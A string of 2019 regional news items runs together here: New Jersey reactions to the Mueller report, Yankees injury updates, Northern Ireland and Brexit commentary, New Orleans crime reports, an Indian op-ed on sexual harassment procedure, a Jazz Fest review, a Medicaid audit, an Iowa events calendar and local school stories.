the next step. Impeachment is just one tool in Congresss constitutional oversight toolbox," Payne said. Once Congress has gathered the facts and evidence, we will select the best of our constitutional tools to proceed with on that front. Rep. Mikie Sherrill, D-11th Dist. Did not respond to requests for comment. Rep. Bonnie Watson Coleman, D-12th Dist. Did not respond to requests for comment. Both of New Jerseys senators did not address the issue of impeachment but instead turned their fire on Attorney General William Barr, who initially summarized the report and then held a press conference before releasing a redacted version to Congress and the public. U.S. Sen. Robert Menendez waits to take the stage at Cory Booker's at presidential campaign hometown kickoff at Military Park in Newark on April, 13, 2019. (Aristide Economopoulos | NJ Advance Media for NJ.com)NJ Advance Media for NJ.com U.S. Sen. Cory Booker, D-N.J. His actions were what you would expect from President Trumps defense lawyer, not our nations top law enforcement officer," Booker said. "Enough with the partisan spin -- its time Congress and the American people have the opportunity to view the report and hear from Mueller himself. Mueller should testify in front of the Senates Judiciary Committee next month. U.S. Sen. Robert Menendez, D-N.J. Whatever else we learn from our review of the #MuellerReport, it's clear that Attorney General Barr has done a great disservice to the country, acting as an agent for Trump and spinning the report in the President's favor...instead of being straight up with the American people. Senator Bob Menendez (@SenatorMenendez) April 18, 2019 Jonathan D. Salant may be reached at jsalant@njadvancemedia.com. Follow him on Twitter @JDSalant or on Facebook. Find NJ.com Politics on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. ANAHEIM, Calif. The Yankees injury list finally may do some heavy duty shrinking in the next couple of weeks. By then, four of their 13 players on the IL could be back and playing. Third baseman Miquel Andujar and shortstop Troy Tulowitzki might be only a week or so away, outfielder Clint Frazier may be back a few days later and center fielder Aaron Hicks isnt too far behind them. Here are updates on six of the Yankees injured players: MIGUEL ANDUJAR, 3B Injury: Labrum tear in right shoulder. Status: Has been on 10-day injured list since April 1. Games missed: 21. The latest: Andujar doesnt know for sure yet if hell definitely be able to avoid season-ending surgery, but hes been passing every throwing test rehabbing and hell test his shoulder up Thursday by playing third base for four or five innings in an extended spring training game in Tampa. If Andujar keeps feeling good playing rehab games over the next few days, he could be off the IL in about a week. Update from manager Aaron Boone: Hopefully he responds really well and continues to progress. Well see how these next few games go and how hes able to bounce back. * * * AARON HICKS, CF Injury: Lower back strain. Status: Has been on 10-day injured list since March 28 (retroactive to March 25). Games missed: 25. The latest: Hicks has been pain free for weeks, but hes still going through a proceed-with-caution spring training. Hes been hitting, throwing and running on the field in Tampa, and likely will be playing rehab games within a week. The guess here is Hicks is off the IL sometime in mid-May. Update from Boone: Weve been pretty disciplined in trying to bring him along the right way and make sure he goes through the progression and all the protocols. That said, I would say hes real close to being game ready. Hes been running, doing his defensive work and hitting on the field. Now its about getting that live pitching in a game. Well see how long the rehab process goes. I dont want to put a time on that. Weve tried to be pretty disciplined with bringing him back to give him the best chance (that) when he does come back were not dealing with this issue going forward. One of the big things when he gets into games will be how does he bounce back. Obviously, hes not going to go and play nine innings (right away). If he is getting a couple of at-bats, how does he bounce back the next day? Is he able to build up? If hes able to build up and get to that nine-inning point and hes able to bounce back, in that scenario, it could be a little shorter (rehab-game process). But hes going to need some games. * * * TROY TULOWITZKI, SS Injury: Left calf strain. Status: Has been on 10-day injured list since April 4. Games missed: 19. The latest: Tulowitzki is over his injury and is expected to play in an extended spring training game on Sunday or Monday. He could be off the IL within a week. Update from Boone: "Tulo passed his final running test (Wednesday) with no issues. Hell run the bases (Thursday). Hes already been hitting on the field. So he could potentially by the end of the weekend get into some game action. * * * GIANCARLO STANTON, SS Injury: Left biceps strain, left shoulder soreness. Status: Has been on 10-day injured list since March 31. Games missed: 22. The latest: Stanton might be off the IL and back in the Yankees lineup by next weekend despite being shut down last Monday for a week because he was given a cortisone shot to address shoulder soreness that has been an off-and-on issue. Stanton is over his biceps injury and as of last week had progressed in his rehab last week to the point where he was taking BP on the field. He was with the Yankees in Anaheim this week and will stay in Southern California this weekend to continue his rehab near his home, then hell rejoin his team next Tuesday in Phoenix with probable medical clearance to start hitting again. * * * CLINT FRAZIER, OF Injury: Left ankle sprain. Status: Has been on 10-day injured list since April 24 (retroactive to April 23). Games missed: 3. The latest: Frazier campaigned hard to avoid going on the IL, but lost his fight because an MRI showed a small tear, which is basically a sprain. Frazier hasnt talked about going on the IL yet to media, but he was walking without a limp before Thursdays game. Update from Boone: I dont know what the plan is the next couple of days. Even the next night (after his injury Monday), he was available off the bench and he was taking swings. I am sure, though, they will try to get any type of swelling and the black and blue out of there. Were making sure we treat the injury properly. As far as when he gets ramped up and hes running around again, hopefully its in days, but I dont know that yet for sure. * * * AARON JUDGE, RF Injury: Left oblique strain. Status: Has been on 10-day injured list since April 21. Games missed: 5. The latest: Judge is traveling with the Yankees and doesnt look hurt walking around the clubhouse, but hes been shut down from all baseball activities for an undetermined amount of time. The only timetable given by GM Brian Cashman is Judge will be out a while. Randy Miller may be reached at rmiller@njadvancemedia.com. Follow him on Twitter @RandyJMiller. Find NJ.com on Facebook. The death of a journalist in Northern Ireland has brought British and Irish leaders together but also reignited a deadly past This week (Wednesday) the Taoiseach (Prime Minister) of the Republic of Ireland, Leo Varadkar, and UK Prime Minister Theresa May showed up in Belfast in Northern Ireland for the funeral of a young woman called Lyra McKee. So did the President of the Republic, Michael Higgins and UK Opposition leader Jeremy Corbyn. Its quite possible that none of them had even heard of her a week ago. She was a promising young journalist, already well-known in the small world of Northern Ireland for her political journalism and LGBT activism. She was killed a week ago by a New IRA terrorist while covering a riot in Derry, the British provinces second city. It was a mistake, of course: The terrorist was probably trying to kill one of the police officers who were standing nearby. The funeral was held in Belfasts main Protestant cathedral, St Annes, although McKee had grown up Catholic. Both Catholic and Protestant clergy conducted the funeral service in a joint rejection of the sectarian violence that is creeping out into the open again in Northern Ireland. That is why the Prime Ministers and other high dignitaries were there too but it may be too late. Lyra McKee described herself as a ceasefire baby. She was only eight-year-old when the Good Friday Agreement was signed in 1998, ending 30 years of The Troubles, a terrorist civil war between Protestant and Catholic extremists that killed over 3,000 people in a province whose population is less than two million. But the war wasnt actually about religion. The Protestants were loyal to Britain (and resentful about losing the absolute dominance they once enjoyed in Northern Ireland). The Catholics were nationalists who looked forward to the day when they would be the majority in Northern Ireland (thanks to a higher birth rate) and then to the great day when all of Ireland will be united and the Prods of the North are reduced to a tiny and helpless minority. They fought each other to a standstill and in 1998, they signed the Good Friday Agreement, which created a power-sharing Government in Northern Ireland and put an end to the killing. Most people realised it was a truce, not a final peace settlement, but many hoped that given enough time, it could grow into something more. Generational turnover has solved a lot of the worlds problems. In the meantime, the deal allowed a generation of young people like McKee to grow up in a relatively peaceful place. It might still be a place with a hopeful future today if the English had not voted to leave the European Union three years ago in the Brexit referendum. (I say English deliberately because both the Scots and the Northern Irish voted for the UK to stay in the EU.) The problem with Brexit is that the Good Friday Deal depends on a completely open border between Northern Ireland and the Republic. In fact, an invisible border: No police, no checkpoints, little visual evidence that it even exists. That, plus the right to have an Irish passport instead of a British one if they chose, was what persuaded the Norths Catholic nationalists to settle for a draw in the war. Everybody in Ireland saw the problem with Brexit: If the UK withdraws fully from the EU no customs union, no single market then the hard border will have to re-appear in Ireland. The more extreme nationalists will see that as a betrayal and the guns will come out again. But the insular idiots promoting Brexit in England werent even aware of the problem. Theyre aware of it now. The Republic of Ireland remains a member of the EU and it got the other members to insist that protecting the soft border must be part of the British withdrawal agreement. Last November, Theresa May signed that agreement, which says that all of the UK must stay in the customs union until some UK-EU trade agreement is signed that still allows free movement of goods (and people) across an invisible border. That could be a long time from now, or even never, in which case the UK never really leaves the EU. It just loses any say in the EUs policies. So the outraged British Parliament has spent the last two months rejecting not only the withdrawal agreement May signed, but every other proposal for leaving (or staying) that has been put before it. Pathetic, really. Meanwhile, the first terrorist attacks are getting started again in Northern Ireland. The dissidents who formed the Real IRA in 2012, are nationalists who never accepted the truce. They have been waiting for an opportunity to reopen the revolutionary liberation war that they imagine was betrayed by the Good Friday Agreement and Brexit is giving it to them. There was a car bomb outside the courthouse in Derry in January, and last week, the New IRA tried to kill a police officer and shot Lyra McKee instead. As Will Francis, her literary agent, said (quoting William Faulkner): The past isnt dead. Its not even past. (The writers new book is Growing Pains: The Future of Democracy and Work) A 21-year-old man is suspected of beating his pregnant girlfriend and then beating her dog, which died after the Tuesday (April 23) attack in Algiers, according to New Orleans police. Darroll Borskey was booked Thursday afternoon (April 25) with domestic abuse aggravated assault, domestic abuse battery, simple kidnapping and cruelty to an animal, Orleans Parish court records show. According to the NOPD, Borskey began to hit his girlfriend in the body and head during an argument in the 1300 block of Atlantic Avenue. The victims dog kept barking during the attack, angering Borskey, who began hitting the dog with an object, police said. The NOPD did not indicate exactly when, but the dog was later found dead. Borskey then forced the victim into his vehicle and took her to another location. Police did not describe the second location or what happened there. At one point, Borskey took out a gun and forced the victim to again leave with him, before eventually allowing her to exit the vehicle. Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up It was not clear where the victim got out of the vehicle, but Borskey then fled, police said. Orleans Parish Magistrate Judge Jonathan Friedman set Borskeys bond at $10,000, court records show. Borskey, who turns 22 on Friday, signed a stay-away order in court. In conjunction with a Louisiana law that prohibits the subjects of restraining orders from possessing firearms, Borskey also told the court that he possesses no guns or ammunition, Orleans Parish court records show. Anyone with relevant information on the case is asked to call NOPD 4th District detectives at 504-658-6040 or submit an anonymous tip by calling Crimestoppers at 504-822-1111 or toll-free at 1-877-903-STOP. Laura McKnight covers crime and breaking news for NOLA.com | The Times-Picayune. A 19-year-old man suspected of stealing an idling car with two children inside in New Orleans has been arrested four times in the past year on several auto theft and theft-related allegations, court records show including one case last year in which he was also accused of stealing a car with a child inside. One of the cars the 19-year-old was accused of stealing later became a focus in the investigation into the July 2018 mass shooting on South Claiborne Avenue. In all those previous arrests, authorities declined to pursue cases. New Orleans police said Tuesday (April 23) they were on the lookout for Kentrell Lockett, on accusations he carjacked a car with two children inside Sunday in Gentilly, in the 3700 block of Clematis Street. He ordered the children to get out and threatened to shoot them, and they got out near the intersection of Gladiolus and Clematis streets, police said. Court records show that Lockett was also arrested on suspicion of a similar offense May 16, 2018, when a woman reported a man stole her Jeep with her 9-month-old inside, also in Gentilly. Lockett was arrested months later, on Oct. 18, 2018. District Attorney Leon Cannizzaros office refused the charges against Lockett in that case this past December. Since March 2018, Lockett has been arrested four times, suspected of eight different crimes. Hes faced charges of three counts of illegal possession of a stolen auto, two counts of illegal possession of stolen things, two counts of auto theft, and two counts of aggravated assault with a firearm. But each time, authorities declined to proceed with the case. Lockett was in police custody as recently as April 19, after being arrested on illegal possession of a stolen auto. But a judge found no probable cause to hold Lockett. Two days later, police believe Lockett stole the idling car with the two children in Gentilly. They also suspect him in a violent Gentilly carjacking April 15. When asked why the District Attorneys office has refused charges against Lockett in previous cases, spokesman Ken Daley said, It was determined the cases could not be successfully prosecuted. Daley did not share details about why the District Attorneys office felt the cases could not be prosecuted, but typical reasons could include not having sufficient evidence from police against the defendant. However, in more than one of Locketts past cases, police reported using witness accounts, surveillance video and DNA evidence in order to secure an arrest warrant. After the Jeeps owner trailed her carjacker last May in an attempt to get her baby inside the car, the man stopped the vehicle and tossed the car seat with the baby in it out of the Jeep, police records said. DNA collected from the car seat matched Locketts, according to a police affidavit for his arrest. When the car was recovered a week later, DNA taken from its steering wheel and a cup inside the vehicle also matched Locketts, the affidavit said. While police investigated the Jeep carjacking, Lockett became the suspect in a series of other crimes, records show. Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up On May 26, 2018, 10 days after the Jeep carjacking, a 2008 BMW X3 was reported stolen from the 4600 block of Arts Street. A woman told police she had video of a man stealing the car from outside her house while she was preparing for a party. According to the affidavit for that case, detectives said the man in the video matched the description of Lockett and they secured an arrest warrant. Two months later, that BMW would play a central role in a much higher-profile crime. Last year, police believed the stolen BMW was used as the getaway vehicle in the July 28 mass shooting on South Claiborne Avenue that left three people dead and seven others injured. The SUV was found burning later that night, according to an NOPD search warrant which describes a 2008 BMW X3 with the same license plate number. No one has been arrested in the Claiborne shooting. Another report involving Lockett came a day after the BMW theft, on May 27. A man awoke to find his iPhone missing, according to another affidavit. The man canvassed his house in the 5100 block of Arts Street and discovered a window ajar, the door unlocked and $300 missing from his wallet. His grandmother also reported her purse and wallet as missing. The man immediately suspected Lockett, a former friend who he had seen two days prior while at a neighborhood store. Using an Apple app, the man tracked his phone to a Whitney Bank along Elysian Fields. Upon arrival at the bank, he told police, he and his grandmother saw Lockett, who fled on foot and out of sight, according to an arrest warrant for Lockett. A month later, on June 30, surveillance video recorded a man arriving at the Stallings Recreation Center at 4300 Saint Claude Avenue by bicycle, according to another police affidavit for Locketts arrest. The video showed the man entering the center, speaking briefly with another man, then heading to the bleachers where he grabbed a pair of keys. The man then exited the center through the back door, ran to a car and drove away, the affidavit said. The owner of the vehicle reported not knowing the man, nor giving him permission to use the vehicle. A juvenile witness identified the man as Kentrell, prompting police to find Lockett in the NOPD database. Detectives believed Lockett matched the suspect caught on camera, according to the affidavit. Two weeks after the theft, Locketts foster mother confirmed Lockett was indeed the man in the video, arrest records show. Though he was arrested in each of those cases, the District Attorney refused charges each time, according to court records. Lockett last appeared in court April 19 of this year on a charge of illegal possession of a stolen vehicle. Police reported observing Lockett get dropped off near and walk toward a car in the 7100 block of Yorktown Drive that had been reported stolen. When officers ordered him to stop, he fled. He was later arrested. Magistrate Judge Robert Blackburn ruled no probable cause, meaning he did not find reasonable basis for believing that a crime may have been committed. Four days prior to that court appearance, police suspect Lockett grabbed a woman by the throat near the intersection of Carnot and Arts streets and demanded her car, while she was giving him a ride, according to an NOPD news release identifying him as a wanted suspect. Finally, on April 21, police suspect Lockett stole a womans idling car, then threatened to shoot her two kids, who happened to be in the vehicle. An NOPD press release noted that the officers who watched surveillance video of that crime had stopped Lockett a few hours earlier, under suspicion of committing an auto theft. As of Friday morning, jail records indicated Lockett had not been booked yet in those two cases. Update: This story has been updated with more details about the Arts Street vehicle theft and its connection to the mass shooting on Claiborne Avenue. --- Hanna Krueger covers breaking news, criminal justice and New Orleans life for NOLA.com|The Times-Picayune. Drop her a line at hkrueger@nola.com and find her on Twitter @HannaSKrueger. Without getting into the nitty-gritty of the allegations against the CJI, it is imperative that an impartial hearing, based on settled principles, be held. However, by not providing for just representation of women in the enquiry committee, the court has undermined the POSH Act On April 19, a complaint of sexual harassment against the Chief Justice of India Ranjan Gogoi (CJI) was sent to the Residence(s) of 22 judges of the Supreme Court of India, along with an affidavit and other supporting evidence. The complainant had asked for the constitution of an inquiry committee of senior retired judges to investigate and adjudicate on the serious allegations of sexual harassment. Under the Indian law, complaint(s) of sexual harassment at the workplace are required to be addressed in accordance with the procedure, as established under the Sexual Harassment of Women at Workplace (Prevention, Prohibition and Redressal) Act, 2013 (POSH Act). The Act mandates that every organisation with more than 10 employees must set up an Internal Complaints Committee (ICC), comprising at least four members and 50 per cent of them should be women. Further, it also states that the presiding officer of the ICC should also be a woman. Thus, the spirit of the POSH Act lies in providing women greater representation in the inquiry committee and in including an external member on the board to ensure transparency and fairness. The Supreme Court has constituted an ICC and also framed The Gender Sensitisation & Sexual Harassment of Women at the Supreme Court of India (Prevention, Prohibition and Redressal) Regulations 2013, to investigate the complaints of sexual harassment. However, in gross violation of the procedure as established by the law and in absolute negation of the rule of law, the Supreme Court on April 20, held a suo moto hearing of the complaint. The Bench comprised three male judges, presided by the CJI himself. On acute criticism by various lawyers and Bar Association(s) of the suo moto hearing held by the apex court, on April 23, a special Bench comprising three male judges issued notice to a lawyer, Utsav Bains, who claimed that a man had approached him to file a false case of sexual harassment against the CJI. However, no investigation was instituted to examine the veracity of the complaint of sexual harassment. Then in a series of surprises, the top court constituted a new Bench on April 23, comprising two male and a female Supreme Court judges to examine the complaint of sexual harassment against the CJI. This Bench issued notice to the complainant on April 24 and directed her to appear before the Bench on April 26, that is today. In setting up a predominantly male Bench, headed by a male judge (even though there are three sitting women judges at the Supreme Court) the court has side-stepped and corroded the sanctity of the predominantly women-led ICC. Undoubtedly and inherently, a reason exists for POSH to insist on a committee led by a woman with them being in majority. This, to provide an environment conducive for a woman to speak freely and fearlessly about a sexual assault on her physical body. Presence of women members in majority can ease, facilitate and enable them to speak about incidents that outraged their soul. It is fearsome and intimidating for them to express about unwanted physical contact by men in authority before strange men. Ask any woman no matter how rich or powerful, educated or illiterate whether they would be able to explain the gory and graphic details of the violence committed before strange men. To facilitate, enable and create a conducive environment where victims are encouraged to speak freely in the presence of other women POSH insists on this specific composition which must necessarily be strictly and scrupulously adhered. Any breach would only further perpetuate injustice. In not providing more representation to women in the committee and by not including an external member, the Supreme Court has undermined the sanctity of the POSH Act. The apex court has been the torch-bearer of womens right to equality and safe spaces. The court itself laid down the Visakha Guidelines in 1997 to protect women against sexual harassment and abuse at workplace. Even thereafter, it took almost 15 years for the POSH law to be enacted. The POSH Act is unique. This progressive and welfare legislation cannot be permitted to be undermined lest Indian women lose their right to safe work places. Without getting into the merits of the allegations levelled against the CJI, it is imperative that a fair and impartial hearing of the matter be conducted that is based on the settled principles and the procedure established by the law. This is a sine qua non for upholding the rule of law. Looking at the gravity of the complaint at hand and in keeping with the spirit and objectives of the POSH Act, the Supreme Court must lead by example and ensure that the presiding officer and majority of the members of the inquiry committee are women. Further, the board must include external member/members as well. It is incumbent on all citizens of India, especially women, to voice their concern on side-stepping of the women-led complaints committee in a matter of sexual harassment. If we choose to remain quiet on this grave violation of principles of natural justice and the procedure established by the law, it will send the Indian women back to decades. The spirit and sanctity of the POSH Act must be fiercely protected, preserved and prevented from being reduced to a mockery. (The writer is an advocate) Ciara was going to be shining and bright at Jazz Fest whether the weather was or not. It was all decided when she dressed in a fluorescent yellow bodysuit and jacket. She strutted onto the Congo Square stage in battle with the suddenly blinding sun, flanked by a quartet of dancers with swishy fluorescent yellow pants. Yall brought the sun out, she giddily told the crowd about a third of the way through her show. She looked and danced the way I always wanted to look and dance, in my best possible dreams, while on my schools dance team. We had choreography to 1, 2 Step and Lose Control when those songs were new and cool, and if you werent also dancing with hoop earrings then what were you even doing, exactly? One of her dancers had hoop earrings, and all of them often performed together in this power pyramid formation with Ciara at the front. Its so beautiful because of you guys, Ciara said next. (Again, so kind of her to think that it was us, though maybe she was talking to the revelers like the one I met in a gold raincoat and bedazzled black hat who asked me to take her photo in front of the stage as she enjoyed a plate of fried chicken.) Ciara then performed her newest track, Thinkin Bout You for the first time, the only song during her hour-long set that dancers werent accompanying her with powerful choreography. By that point, shed already opened with some favorites (Get Up, Oh and Goodies) for a crowd that continued to grow and stayed excited to be dancing along with her, Ciara, instead of with competing headliners Earth, Wind and Fire or Alanis Morissette. Its difficult to not be attracted to and infected by her confidence. The one-name star recalled in an interview with The Guardian in 2015: Im on videotape aged 17 at high school graduation saying: Im gonna have a No. 1 song in the Billboard chart and sell 3 million copies of my debut album. She did that. One year after graduating, Goodies was the No. 1 song on the Billboard chart for seven weeks. It was the first time that had happened for a female artist since 1977, The Guardian reported. Before coming to Jazz Fest, Ciara spent the morning in Algiers at Edna Karr High School as part of a Reclaiming the Rhythm workshop. Jamar McKneely, InspireNOLA Charter Schools CEO, confirmed that it was awesome. Edna Karrs dance team performed for Ciara, and she also gave the students a pep talk. Take risks and be bold, she told them. Ciara ended her Jazz Fest show with similar words of encouragement: Keep on leveling up in your life, she said, a play on Level Up, her final song of the evening. You going forward starts with you, nobody else. . . . . . . . Laura Testino writes entertainment and home and garden stories for NOLA.com | The Times-Picayune, where she is the life and culture reporting fellow. Call 504.717.6584 or email LTestino@nola.com. A behavioral health services company in Covington improperly billed the Louisiana Medicaid Program for $107,000 in behavioral health services, the Louisiana Legislative Auditors Office says. Legislative Auditor Daryl Purperas office said in an audit report released this week that Walk With Me Community Improvement Center, a subsidiary of a Texas-based nonprofit, billed for counseling work that either wasnt provided or was provided by staff members unqualified to provide the work. The audit also found the company billed Medicaid for individual counseling sessions that were actually group sessions. Because the individual sessions are billed at a higher rate, that resulted in Medicaid overpaying $18,541, the Legislative Auditor said. In some cases, counselors told auditors they did not perform the work for which the company billed Medicaid, the report says. Purperas office said the billing in question took place between December 2015 and September 2018. Copies of the audit have been sent to the U.S. Attorneys Office and district attorneys on the North Shore and Baton Rouge. (Click here to read the audit.) The Legislative Auditors Office recommended the Louisiana Department of Health, which administers the Medicaid program, consult with its attorneys to determine the appropriate action to be taken, including the recovery of payments for services not provided. The Louisiana Department of Health suspended Walk With Mes license in August of 2018 due to credible allegations of fraud, the audit says. Efforts to reach Walk With Me officials were not successful. Latoyia Porter, identified in Louisiana Secretary of State filings as the companys president, told The New Orleans Advocate that the company was preparing a response to the audit, and it would recoup the money it received from Medicaid if the billing discrepancies are found to be accurate. Citing state health records, the Legislative Auditors Office said Walk With Me submitted claims of $725,202 for services from January 2015 to August 2018. The office said the audit was spurred by complaints from the state Attorney Generals Offices Medicaid Fraud Control Unit. As a scientist at LSU, Dr. Catherine O'Neal knew the COVID-19 vaccines had undergone rigorous safety testing before they were made available for children. But when the time came to sign her own kids up for the jab, the mother of three experienced FRIDAY Seeking Safety 10 to 11:30 a.m., Catholic Charities, 1215 N. Broadway. Financial Education and Empowerment also offered from 10 to 11:30 a.m. Free classes for those who identify as a victim/survivor of domestic or sexual violence. New participants will need to schedule an intake. Call 712-256-2059 ext. 103 for more information. Seeking Safety 10 a.m. to noon, Catholic Charities Office at Zion Recovery Services, 1500 E. 10th St., Atlantic. Financial Education and Empowerment also offered from 12:15 p.m. to 1:15 p.m. Free classes for those who identify as a victim/survivor of domestic or sexual violence. New participants will need to schedule an intake. Call 712-256-2059 ext. 103 for more information. Elks Lodge TGIF Dinner 6 to 8 p.m., 380 McKenzie Ave. Call 712-323-2589 or find Elks Lodge 531 Council Bluffs on Facebook for weekly menu. Southwest lowa Narcotics Anonymous Noon, Let It Be, New Litehouse, 200 16th Ave.; 6:30 p.m., Just for Today, Faith Community Church, 2701 N. Eighth St., Red Oak; 7 p.m., Clean & Free Group, first floor McDermott building, 800 Mercy Drive; 8 p.m., Straight and Grateful, 309 Elm St., Atlantic; 8:30 p.m., Discovery Group Church of Christ, 714 Benson St., Omaha; 8:30 p.m., Rebellions, New Litehouse, 200 16th Ave. Freedom Seekers Al-Anon 7:30 p.m., Broadway Christian Church, 2658 Ave. A. Pickin and Grinnin Country Music Jam 6:30 to 9 p.m., Corn Crib restaurant, 12 East St., Shelby. Musicians and music lovers invited to a weekly jam session. Call the Corn Crib at 712-207-2676. Roller Skating at UMBA Hall Skating every Friday night at the UMBA Hall in Underwood except holiday weekends or if Underwood Schools are cancelled due to weather. Fourth grade and younger may skate from 7 to 8:30 p.m. Fifth grade and older skate from 8:30 to 10 p.m. Admission is $4. No outside skates are allowed. The party room may be reserved for birthday celebrations for $30. Private skating parties are available for two hours of skating for $300. Call 712-566-2222 to reserve a time. The Council Bluffs Order of the Eastern Star, Chapter 441 Spaghetti Feed 4:30 to 6:30 p.m., Masonic Temple, 130 S. Sixth St. Includes salad, hot bread and coffee, tea, water or lemonade and a homemade dessert. Cost $7 for adults, $3 for pre-teens. Eat in or carry out. Public welcome. Pottawattamie County American Cancer Society Relay For Life Garage/Craft/Vendor Sale 5 to 8 p.m., Westfair, 22984 Highway 6. This Relay for Life fundraiser is a combination garage, craft and vendor sale. All booths are in covered buildings so it will be held rain or shine. Concessions are also available. Admission is $2 for adults. Children ages 10 and younger are free. SATURDAY Overeaters Anonymous 8:30 a.m., Douglas County Health Center, town hall meeting room, first floor, 42nd and Woolworth Streets, Omaha. Call Tracy at 402-551-9711. 10:30 a.m., Unity Church, 3424 N. 90th St., Omaha. Wheelchair accessible and child care provided. Call Dala at 402-210-3755. Southwest Iowa Narcotics Anonymous 5 p.m., Saturday Serenity, St. Pauls Episcopal Church, 812 Farnum St., Harlan; 6 p.m., On the Right Track, 515 E. Broadway; 8 p.m., Living Clean, 303 Walnut St., Shenandoah; 8:30 p.m., Rebellions, New Litehouse, 200 16th Ave. Gamblers 12-Step Program 7 p.m., 354 N. 76th St., Omaha. For 24-hour hotline, call 402-978-7899. Electric Music Jam Noon to 4 p.m., Western Historic Trails Center. Treynor Optimist Club 8 a.m., Treynor Community Center. Underwood Optimist Club 7:30 a.m., UMBA Hall. Pottawattamie County American Cancer Society Relay For Life Garage/Craft/Vendor Sale 8 a.m. to noon, Westfair, 22984 Highway 6. This Relay for Life fundraiser is a combination garage, craft and vendor sale. All booths are in covered buildings so it will be held rain or shine. Concessions are also available. Admission is $2 for adults. Children ages 10 and younger are free. SUNDAY Al-Anon Family Group 10 a.m., The 500 Club, 410 S. 16th St. Southwest lowa Narcotics Anonymous 11 a.m., Spiritual Breakfast Meeting, New Litehouse, 200 16th Ave.; 6:45 p.m., New Way Group, Broadway United Methodist Church, east door, Room 210, 11 S. First St.; 8:30 p.m., Rebellions, New Litehouse, 200 16th Ave. Gamblers 12-Step Program 2:30 p.m., 12-Step House, 7306 Grant St., Omaha. For 24-hour hotline, call 402-978-7899. Overeaters Anonymous 3 p.m., 309 Elm St., Atlantic. Rear door, wheelchair accessible. Contact Karen W. at 712-774-5620; 4 p.m., St. Matthews Church, 60th and Walnut Streets, Omaha. Call Kathleen at 402-556-7877. Fraternal Order of Eagles No. 104 Bingo 6 p.m., North 16th Street and Avenue F. Public welcome. Chicken Dinner 4 to 6:30 p.m., Minden Community Hall, Minden. Minden Fire Department holding a chicken dinner. Cost is $10 for adults; $6 for children 12 and younger. A former Abraham Lincoln band director has been arrested and charged with two counts of sexual exploitation by a school employee, according to the Council Bluffs Police Department. Frederick Mark Mendell, 56, faces two counts of sexual exploitation by a school employee. In March, Council Bluffs Police launched an investigation into an alleged inappropriate relationship between Mendell and a 17-year-old female student. Mendell was arrested at his home in Crescent on Thursday when Pottawattamie County Sheriffs deputies served a warrant charging him with two counts of sexual exploitation. The Council Bluffs Community School District Board of Education accepted Mendells resignation as Abraham Lincoln High School band director on April 9. The alleged female victim has graduated from the Council Bluffs Community School District and no longer attends classes, according to a release. Police said Mendell and the student exchanged messages professing their love for each other. The student reportedly told a Council Bluffs Police Department detective that she and Mendell went on an overnight college visit together, sleeping in the same hotel room. She also reportedly stated that their relationship had been sexual in nature, with some of the sex acts taking place inside Abraham Lincoln High School, while she was a student and he was her band teacher. Iowa law establishes 16 years of age as the age of consent to engage in sex, but state law also prohibits school employees from having any sexual contact with students, regardless of the age of the student. The Council Bluffs Community School District released this statement Thursday from Superintendent Vickie Murillo regarding the arrest: We are disturbed by the outcome of the investigation. The safety of our students is and will always be our priority. In March, upon learning of allegations of unethical conduct, the school district placed Mr. Mendell on leave, and requested an investigation by law enforcement. Mr. Mendell resigned from his position in April. In the Council Bluffs Community Schools, we take all allegations and reports very seriously, and will not tolerate any misconduct of this nature. Nonpareil reporter Tim Johnson contributed to this report. One hundred thirty seniors from area high schools received full-ride scholarships to Iowa Western Community College during the Pottawattamie Promise Recognition Breakfast Thursday at the Mid-America Center, marking another milestone for the program, which awarded 70 scholarships in 2018. This year, students from Lewis Central and Avoca-Hancock-Shelby-Tennant-Walnut High Schools joined those from Council Bluffs and Riverside Community School Districts in the new cohort of scholars. Council Bluffs Mayor Matt Walsh congratulated parents for having such outstanding students who will now be scholars in the program. Pottawattamie Promise tries to give students what they need to be successful, said Pete Tulipana, president of the Iowa West Foundation, which initiated the program in 2015 with the help of partners Iowa Western Community College and the Omaha-based Peter Kiewit and Aksarben Foundations. He said Iowa West hopes to have all of the eligible students in Pottawattamie County in the program by 2020. Thats a total of about 400 students who would have an opportunity to go to college, he said. Scholarship recipients are selected during their sophomore year in high school based on eligibility for the Pell grant, being on track to graduate from high school, maintaining a grade-point average of at least a 2.0 (a C average) and interest in a profession where they will need a degree or certificate offered by Iowa Western. While still in high school, they take a college-level statistics course to help them prepare. Each student receives a scholarship that pays for tuition, room and board at Iowa Western Community College. They also will receive intrusive advising designed to keep them on track to be successful, including phone calls if they miss classes and monitoring of progress in coursework. Six Pottawattamie Promise scholars currently enrolled at Iowa Western shared their perspectives on college with the new cohort of scholars. Jasmine Dunkirk, an education major, said she had wanted to be a teacher since she was little. She said she struggled when she first entered college but was able to get help from people at her high school. She found that she needed to develop study habits that worked for her. Joseph Lopez, a sustainable energy major, said its important to consider the job outlook in different fields when youre choosing a major. I realized Iowa is a big wind energy state, he said. Lopez said it was a rollercoaster his first term, but he kicked it into high gear and turned things around his second semester. The schedule is a lot different than high school, he said which he likes, because classes dont start as early and dont last all day. Breana Rocha, a criminal justice major, said, Ive kind of always known I wanted to be a police officer or work in the community. To move toward her goal, she accepted a job as an unarmed security guard, she said. Youve got to take advantage of an opportunity put in front of you, Rocha said. If you turn it down, it might not be there again. Rocha said she got lucky and had a strict teacher her first semester, which forced her to study. She has now been inducted into Phi Theta Kappa Honor Society and become president. She is a peer coordinator and gets to attend professional development workshops across the state. Take the time to talk to teachers, because they will help you be successful, she said. Rocha said she had found her advisor, fellow PTK members and college administrators to be helpful. The college really does care about you and if you have a problem, you can go to them, she said. Derick Seaton, a culinary arts major, said he was interested in both culinary arts and becoming a conservation officer. Ive done well in high school (cooking) competitions, he said. Seatons uncle told him his cooking ability would be an asset if he went into culinary arts, and jobs in that field would be more plentiful. Jose Soria, a nursing major, said he likes the idea of working one-on-one with patients and figures being a male bilingual nurse will be good for the community. He said his biggest source of support was a nursing instructor he had in high school. Alan Pacheco, a construction technology major, said he had started out thinking he would go into architecture but changed his mind after talking to some people in the field. They said he would get to go to more job sites as a construction superintendent than as an architect. I wanted to get more hands-on experience out in the field, he said. Pacheco said his advisor had been helpful but his biggest source of support had been his family. Lopez advised the scholars to take advantage of the scholarship. A lot of kids are working to pay for college, he said. Lopez told them to study hard, stay on top of your homework and have fun. Seaton and Soria echoed that. Focus on your priorities, Pacheco said. Several panelists said time management was important. 